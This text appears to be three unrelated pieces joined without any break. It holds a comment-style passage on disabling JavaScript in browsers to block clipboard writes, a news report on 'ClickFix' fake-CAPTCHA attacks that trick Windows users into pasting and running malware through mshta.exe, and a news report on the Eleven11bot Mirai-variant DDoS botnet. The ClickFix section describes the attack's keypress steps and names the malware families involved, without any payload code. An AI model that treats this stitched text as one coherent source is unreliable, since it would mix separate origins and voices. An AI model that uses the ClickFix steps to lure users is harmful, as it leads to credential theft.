The clipboard access is triggered by a JavaScript function document.execCommand(‘copy’). Disabling JavaScript will stop that from happening, but it has the disadvantage that it will break many websites that you visit regularly. What I do is use different browsers for different purposes.
Here are step-by-step instructions on how to disable JavaScript in several popular browsers:
How to disable JavaScript in Chrome
Open Chrome and click on the three-dot menu icon in the top right corner.
Select Settings from the dropdown menu.
On the left side, click on Privacy and security.
Click on Site settings.
Scroll down to the Content section and click on JavaScript.
Toggle the switch to Don’t allow sites to use JavaScript to Disable JavaScript for all sites. You can also add specific sites to block or allow JavaScript by clicking on Add under the Block or Allow sections.
How to disable JavaScript in Firefox
Enter about:config into the search bar and select Accept the Risk and Continue.
Enterjavascript.enabled into the search box at the top of the page.
Select the javascript.enabled toggle to change the value to false.
How to disable JavaScript in Opera
Launch Opera and click on the settings icon.
Select Privacy & Security from the options.
Click on Site Settings.
Select the JavaScript option.
Choose Don’t allow sites to use JavaScript to disable JavaScript for all sites.
To disable JavaScript for specific sites, click Add under the Not allowed to use JavaScript section and enter the site’s URL.
How to disable JavaScript in Edge
Open Microsoft Edge and click on the three-dot menu icon in the top right corner.
Select Settings from the dropdown menu.
In the left sidebar, click on Cookies and Site Permissions.
Scroll down to the All Permissions section and select JavaScript.
Toggle the switch to disable JavaScript. You can also manage JavaScript settings for individual sites by adding them to the allow or block lists.
A clever malware deployment scheme first spotted in targeted attacks last year has now gone mainstream. In this scam, dubbed “ClickFix,” the visitor to a hacked or malicious website is asked to distinguish themselves from bots by pressing a combination of keyboard keys that causes Microsoft Windows to download password-stealing malware.
ClickFix attacks mimic the “Verify You are a Human” tests that many websites use to separate real visitors from content-scraping bots. This particular scam usually starts with a website popup that looks something like this:
This malware attack pretends to be a CAPTCHA intended to separate humans from bots.
Clicking the “I’m not a robot” button generates a pop-up message asking the user to take three sequential steps to prove their humanity.
Executing this series of keypresses prompts Windows to download password-stealing malware.
Step 1 involves simultaneously pressing the keyboard key with the Windows icon and the letter “R,” which opens a Windows “Run” prompt that will execute any specified program that is already installed on the system.
Step 2 asks the user to press the “CTRL” key and the letter “V” at the same time, which pastes malicious code from the site’s virtual clipboard.
Step 3 — pressing the “Enter” key — causes Windows to download and launch malicious code through “mshta.exe,” a Windows program designed to run Microsoft HTML application files.
“This campaign delivers multiple families of commodity malware, including XWorm, Lumma stealer, VenomRAT, AsyncRAT, Danabot, and NetSupport RAT,” Microsoft wrote in a blog post on Thursday. “Depending on the specific payload, the specific code launched through mshta.exe varies. Some samples have downloaded PowerShell, JavaScript, and portable executable (PE) content.”
According to Microsoft, hospitality workers are being tricked into downloading credential-stealing malware by cybercriminals impersonating Booking.com. The company said attackers have been sending malicious emails impersonating Booking.com, often referencing negative guest reviews, requests from prospective guests, or online promotion opportunities — all in a bid to convince people to step through one of these ClickFix attacks.
In November 2024, KrebsOnSecurity reported that hundreds of hotels that use booking.com had been subject to targeted phishing attacks. Some of those lures worked, and allowed thieves to gain control over booking.com accounts. From there, they sent out phishing messages asking for financial information from people who’d just booked travel through the company’s app.
Earlier this month, the security firm Arctic Wolfwarned about ClickFix attacks targeting people working in the healthcare sector. The company said those attacks leveraged malicious code stitched into the widely used physical therapy video site HEP2go that redirected visitors to a ClickFix prompt.
An alert (PDF) released in October 2024 by the U.S. Department of Health and Human Services warned that the ClickFix attack can take many forms, including fake Google Chrome error pages and popups that spoof Facebook.
The ClickFix attack — and its reliance on mshta.exe — is reminiscent of phishing techniques employed for years that hid exploits inside Microsoft Officemacros. Malicious macros became such a common malware threat that Microsoft was forced to start blocking macros by default in Office documents that try to download content from the web.
Alas, the email security vendor Proofpoint has documented plenty of ClickFix attacks via phishing emails that include HTML attachments spoofing Microsoft Office files. When opened, the attachment displays an image of Microsoft Word document with a pop-up error message directing users to click the “Solution” or “How to Fix” button.
Organizations that wish to do so can take advantage of Microsoft Group Policy restrictions to prevent Windows from executing the “run” command when users hit the Windows key and the “R” key simultaneously.
Eleven11bot infects video recorders, with the largest concentration of them in the US.
A newly discovered network botnet comprising an estimated 30,000 webcams and video recorders—with the largest concentration in the US—has been delivering what is likely to be the biggest denial-of-service attack ever seen, a security researcher inside Nokia said.
The botnet, tracked under the name Eleven11bot, first came to light in late February when researchers inside Nokia’s Deepfield Emergency Response Team observed large numbers of geographically dispersed IP addresses delivering “hyper-volumetric attacks.” Eleven11bot has been delivering large-scale attacks ever since.
Volumetric DDoSes shut down services by consuming all available bandwidth either inside the targeted network or its connection to the Internet. This approach works differently than exhaustion DDoSes, which over-exert the computing resources of a server. Hypervolumetric attacks are volumetric DDoses that deliver staggering amounts of data, typically measured in the terabits per second.
Johnny-come-lately botnet sets a new record
At 30,000 devices, the Eleven11bot was already exceptionally large (although some botnets exceed well over 100,000 devices). Most of the IP addresses participating, Nokia researcher Jérôme Meyer told me, had never been seen engaging in DDoS attacks.
Besides a 30,000-node botnet seeming to appear overnight, another salient feature of Eleven11bot is the record-size volume of data it sends its targets. The largest one Nokia has seen from Eleven11bot so far occurred on February 27 and peaked at about 6.5 terabits per second. The previous record for a volumetric attack was reported in January at 5.6 Tbps.
“Eleven11bot has targeted diverse sectors, including communications service providers and gaming hosting infrastructure, leveraging a variety of attack vectors,” Meyer wrote. While in some cases the attacks are based on the volume of data, others focus on flooding a connection with more data packets than a connection can handle, with numbers ranging from a “few hundred thousand to several hundred million packets per second.” Service degradation caused in some attacks has lasted multiple days, with some remaining ongoing as of the time this post went live.
A breakdown showed that the largest concentration of IP addresses, at 24.4 percent, was located in the US. Taiwan was next at 17.7 percent, and the UK at 6.5 percent.
In an online interview, Meyer made the following points:
This botnet is much larger than what we’re used to seeing in DDoS attacks (the only precedent I have in mind is an attack from 2022 right after the Ukraine invasion, at ~60k bots, but not public).
The vast majority of its IPs were not involved in DDoS attacks prior to last week.
Most of the IPs are security cameras (Censys thinks Hisilicon, I saw multiple sources talk to a Hikvision NVR too so that is a possibility but not my area of expertise).
partly because the botnet is larger than average, the attack size is also larger than average.
According to a post updated on Wednesday from security firm Greynoise, Eleven11bot is most likely a variant of Mirai, a family of malware for infecting webcams and other Internet of Things devices. Mirai debuted in 2016, when tens of thousands of IoT devices infected by it delivered what at the time were record-setting DDoSes of about 1 Tbps and took down security news site KrebsOnSecurity for almost a week. Shortly after that, Mirai developers published their source code in a move that made it easy for copycats everywhere to deliver the same massive attacks. Greynoise said that the variant driving Eleven11bot is using a single new exploit to infect TVT-NVMS 9000 digital video recorders that run on HiSilicon chips.
There have been conflicting reports on the number of devices comprising Eleven11bot. Following Nokia’s report last Saturday of roughly 30,000 devices, the nonprofit Shadowserver Foundation said Tuesday that the true size was more than 86,000. Then in Wednesday’s update, Greynoise said that based on data from fellow security firm Censys, both numbers were inflated and the true number was likely fewer than 5,000.
The upward revision from Shadowserver was likely the result of the belief that all infected devices displayed unique device information. That suspicion now appears to be incorrect. Instead, Meyer believes the information seen on infected devices is displayed on all such hardware, whether infected or not. Researchers from Greynoise and Censys weren’t immediately available to explain how they arrived at the much lower estimate of fewer than 5,000.
Meyer said that he has consistently observed as many as 20,000 to 30,000 IP addresses participating in follow-on attacks, although many attacks come from much smaller subsets. He said that he has since sent a list of all 30,000 or so IP addresses he has observed to Censys and plans to also send them to Shadowserver soon in hopes of getting consensus on the true size.
“I am still confident on the estimated count as this is what we keep seeing in attacks and after human review of the source IPs,” he wrote.
Mirai-based botnets employ various methods for infecting their targets. One common method is to attempt to log in to device administrator accounts using username/password pairs commonly set as defaults by manufacturers. Mirai botnets have also been known to exploit vulnerabilities that bypass security settings.
In any case, anyone running any sort of IoT devices should position them behind a router or other form of firewall so they’re not visible from outside a local network. Remote administration from outside the Internet should be enabled only when needed. Users should also ensure each device is protected by a strong unique password. Last, devices should be updated as soon as security patches become available.